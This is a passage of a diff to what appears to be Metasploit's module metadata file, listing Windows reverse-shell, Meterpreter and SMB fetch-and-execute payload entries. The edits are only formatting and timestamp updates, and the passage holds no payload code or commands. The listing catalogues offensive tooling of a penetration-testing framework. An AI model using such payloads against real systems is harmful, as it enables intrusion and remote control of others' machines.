{}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235414,9 +237564,7 @@ "payload_cmd/windows/python/meterpreter_reverse_https": { "name": "Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline", "fullname": "payload/cmd/windows/python/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235424,9 +237572,7 @@ "Spencer McIntyre" ], "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235440,8 +237586,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235452,9 +237597,7 @@ "payload_cmd/windows/python/meterpreter_reverse_tcp": { "name": "Python Exec, Python Meterpreter Shell, Reverse TCP Inline", "fullname": "payload/cmd/windows/python/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235462,9 +237605,7 @@ "Spencer McIntyre" ], "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235478,8 +237619,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235490,9 +237630,7 @@ "payload_cmd/windows/python/pingback_bind_tcp": { "name": "Python Exec, Python Pingback, Bind TCP (via python)", "fullname": "payload/cmd/windows/python/pingback_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235501,9 +237639,7 @@ "asoto-r7" ], "description": "Execute a Python payload from a command.\n\nListens for a connection from the attacker, sends a UUID, then terminates", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235517,8 +237653,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235529,9 +237664,7 @@ "payload_cmd/windows/python/pingback_reverse_tcp": { "name": "Python Exec, Python Pingback, Reverse TCP (via python)", "fullname": "payload/cmd/windows/python/pingback_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235540,9 +237673,7 @@ "asoto-r7" ], "description": "Execute a Python payload from a command.\n\nConnects back to the attacker, sends a UUID, then terminates", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235556,8 +237687,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235568,9 +237698,7 @@ "payload_cmd/windows/python/shell_bind_tcp": { "name": "Python Exec, Command Shell, Bind TCP (via python)", "fullname": "payload/cmd/windows/python/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235579,9 +237707,7 @@ "mumbai" ], "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235595,8 +237721,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235607,9 +237732,7 @@ "payload_cmd/windows/python/shell_reverse_sctp": { "name": "Python Exec, Command Shell, Reverse SCTP (via python)", "fullname": "payload/cmd/windows/python/shell_reverse_sctp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235618,9 +237741,7 @@ "RageLtMan " ], "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235634,8 +237755,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235646,9 +237766,7 @@ "payload_cmd/windows/python/shell_reverse_tcp": { "name": "Python Exec, Command Shell, Reverse TCP (via python)", "fullname": "payload/cmd/windows/python/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235657,9 +237775,7 @@ "Ben Campbell " ], "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235673,8 +237789,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235685,9 +237800,7 @@ "payload_cmd/windows/python/shell_reverse_tcp_ssl": { "name": "Python Exec, Command Shell, Reverse TCP SSL (via python)", "fullname": "payload/cmd/windows/python/shell_reverse_tcp_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235696,9 +237809,7 @@ "RageLtMan " ], "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, uses SSL, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235712,8 +237823,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235724,9 +237834,7 @@ "payload_cmd/windows/python/shell_reverse_udp": { "name": "Python Exec, Command Shell, Reverse UDP (via python)", "fullname": "payload/cmd/windows/python/shell_reverse_udp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235735,9 +237843,7 @@ "RageLtMan " ], "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -235751,8 +237857,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235763,9 +237868,7 @@ "payload_cmd/windows/reverse_lua": { "name": "Windows Command Shell, Reverse TCP (via Lua)", "fullname": "payload/cmd/windows/reverse_lua", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235773,24 +237876,21 @@ "xistence " ], "description": "Creates an interactive shell via Lua", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/windows/reverse_lua.rb", "is_install_path": true, "ref_name": "cmd/windows/reverse_lua", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -235799,9 +237899,7 @@ "payload_cmd/windows/reverse_perl": { "name": "Windows Command, Double Reverse TCP Connection (via Perl)", "fullname": "payload/cmd/windows/reverse_perl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235810,24 +237908,21 @@ "aushack " ], "description": "Creates an interactive shell via perl", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/windows/reverse_perl.rb", "is_install_path": true, "ref_name": "cmd/windows/reverse_perl", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -235836,9 +237931,7 @@ "payload_cmd/windows/reverse_powershell": { "name": "Windows Command Shell, Reverse TCP (via Powershell)", "fullname": "payload/cmd/windows/reverse_powershell", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235856,15 +237949,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/windows/reverse_powershell.rb", "is_install_path": true, "ref_name": "cmd/windows/reverse_powershell", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -235873,9 +237965,7 @@ "payload_cmd/windows/reverse_ruby": { "name": "Windows Command Shell, Reverse TCP (via Ruby)", "fullname": "payload/cmd/windows/reverse_ruby", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235883,24 +237973,21 @@ "kris katterjohn " ], "description": "Connect back and create a command shell via Ruby", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/windows/reverse_ruby.rb", "is_install_path": true, "ref_name": "cmd/windows/reverse_ruby", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -235909,9 +237996,7 @@ "payload_cmd/windows/smb/x64/custom/bind_ipv6_tcp": { "name": "SMB Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/smb/x64/custom/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235921,24 +238006,21 @@ "sf " ], "description": "Fetch and execute an x64 payload from an SMB server.\nCustom shellcode stage.\n\nListen for an IPv6 connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/custom/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235951,9 +238033,7 @@ "payload_cmd/windows/smb/x64/custom/bind_ipv6_tcp_uuid": { "name": "SMB Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/smb/x64/custom/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -235964,24 +238044,21 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an SMB server.\nCustom shellcode stage.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/custom/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -235994,9 +238071,7 @@ "payload_cmd/windows/smb/x64/custom/bind_named_pipe": { "name": "SMB Fetch, Windows shellcode stage, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/smb/x64/custom/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236006,24 +238081,21 @@ "UserExistsError" ], "description": "Fetch and execute an x64 payload from an SMB server.\nCustom shellcode stage.\n\nListen for a pipe connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/custom/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236036,9 +238108,7 @@ "payload_cmd/windows/smb/x64/custom/bind_tcp": { "name": "SMB Fetch, Windows shellcode stage, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/smb/x64/custom/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236048,24 +238118,21 @@ "sf " ], "description": "Fetch and execute an x64 payload from an SMB server.\nCustom shellcode stage.\n\nListen for a connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/custom/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236078,9 +238145,7 @@ "payload_cmd/windows/smb/x64/custom/bind_tcp_rc4": { "name": "SMB Fetch, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/smb/x64/custom/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236095,24 +238160,21 @@ "RageLtMan" ], "description": "Fetch and execute an x64 payload from an SMB server.\nCustom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/custom/bind_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236125,9 +238187,7 @@ "payload_cmd/windows/smb/x64/custom/bind_tcp_uuid": { "name": "SMB Fetch, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/smb/x64/custom/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236138,24 +238198,21 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an SMB server.\nCustom shellcode stage.\n\nListen for a connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/custom/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236168,9 +238225,7 @@ "payload_cmd/windows/smb/x64/custom/reverse_http": { "name": "SMB Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/smb/x64/custom/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236180,24 +238235,21 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an SMB server.\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/custom/reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236210,9 +238262,7 @@ "payload_cmd/windows/smb/x64/custom/reverse_https": { "name": "SMB Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/smb/x64/custom/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236224,24 +238274,21 @@ "rwincey" ], "description": "Fetch and execute an x64 payload from an SMB server.\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/custom/reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236254,9 +238301,7 @@ "payload_cmd/windows/smb/x64/custom/reverse_named_pipe": { "name": "SMB Fetch, Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/smb/x64/custom/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236266,24 +238311,21 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an SMB server.\nCustom shellcode stage.\n\nConnect back to the attacker via a named pipe pivot", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/custom/reverse_named_pipe", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236296,9 +238338,7 @@ "payload_cmd/windows/smb/x64/custom/reverse_tcp": { "name": "SMB Fetch, Windows shellcode stage, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/smb/x64/custom/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236308,24 +238348,21 @@ "sf " ], "description": "Fetch and execute an x64 payload from an SMB server.\nCustom shellcode stage.\n\nConnect back to the attacker (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/custom/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236338,9 +238375,7 @@ "payload_cmd/windows/smb/x64/custom/reverse_tcp_rc4": { "name": "SMB Fetch, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/smb/x64/custom/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236355,24 +238390,21 @@ "RageLtMan" ], "description": "Fetch and execute an x64 payload from an SMB server.\nCustom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/custom/reverse_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236385,9 +238417,7 @@ "payload_cmd/windows/smb/x64/custom/reverse_tcp_uuid": { "name": "SMB Fetch, Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/smb/x64/custom/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236398,24 +238428,21 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an SMB server.\nCustom shellcode stage.\n\nConnect back to the attacker with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/custom/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236428,9 +238455,7 @@ "payload_cmd/windows/smb/x64/custom/reverse_winhttp": { "name": "SMB Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/smb/x64/custom/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236440,24 +238465,21 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an SMB server.\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 winhttp)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/custom/reverse_winhttp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236470,9 +238492,7 @@ "payload_cmd/windows/smb/x64/custom/reverse_winhttps": { "name": "SMB Fetch, Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/smb/x64/custom/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236482,24 +238502,21 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an SMB server.\nCustom shellcode stage.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/custom/reverse_winhttps", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236512,9 +238529,7 @@ "payload_cmd/windows/smb/x64/encrypted_shell/reverse_tcp": { "name": "SMB Fetch, Windows Command Shell, Encrypted Reverse TCP Stager", "fullname": "payload/cmd/windows/smb/x64/encrypted_shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236524,24 +238539,21 @@ "Shelby Pace" ], "description": "Fetch and execute an x64 payload from an SMB server.\nSpawn a piped command shell (staged).\n\nConnect to MSF and read in stage", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/encrypted_shell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236554,9 +238566,7 @@ "payload_cmd/windows/smb/x64/encrypted_shell_reverse_tcp": { "name": "SMB Fetch, Windows Encrypted Reverse Shell", "fullname": "payload/cmd/windows/smb/x64/encrypted_shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236566,24 +238576,21 @@ "Shelby Pace" ], "description": "Fetch and execute an x64 payload from an SMB server.\nConnect back to attacker and spawn an encrypted command shell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/encrypted_shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236594,9 +238601,7 @@ "payload_cmd/windows/smb/x64/exec": { "name": "SMB Fetch, Windows x64 Execute Command", "fullname": "payload/cmd/windows/smb/x64/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236605,24 +238610,21 @@ "sf " ], "description": "Fetch and execute an x64 payload from an SMB server.\nExecute an arbitrary command (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/exec", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236633,9 +238635,7 @@ "payload_cmd/windows/smb/x64/loadlibrary": { "name": "SMB Fetch, Windows x64 LoadLibrary Path", "fullname": "payload/cmd/windows/smb/x64/loadlibrary", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236645,24 +238645,21 @@ "sf " ], "description": "Fetch and execute an x64 payload from an SMB server.\nLoad an arbitrary x64 library path", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/loadlibrary", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236673,9 +238670,7 @@ "payload_cmd/windows/smb/x64/messagebox": { "name": "SMB Fetch, Windows MessageBox x64", "fullname": "payload/cmd/windows/smb/x64/messagebox", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236684,24 +238679,21 @@ "pasta " ], "description": "Fetch and execute an x64 payload from an SMB server.\nSpawn a dialog via MessageBox using a customizable title, text & icon", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/messagebox", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236712,9 +238704,7 @@ "payload_cmd/windows/smb/x64/meterpreter/bind_ipv6_tcp": { "name": "SMB Fetch, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/smb/x64/meterpreter/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -236735,15 +238725,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-04 14:11:03 +0000", + "mod_time": "2025-02-07 15:59:31 +0000", "path": "/modules/payloads/adapters/cmd/windows/smb/x64.rb", "is_install_path": true, "ref_name": "cmd/windows/smb/x64/meterpreter/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -236756,9 +238745,7 @@ "payload_cmd/windows/smb/x64/meterpreter/bind_ipv6_tcp_uuid": { "name": "SMB Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": 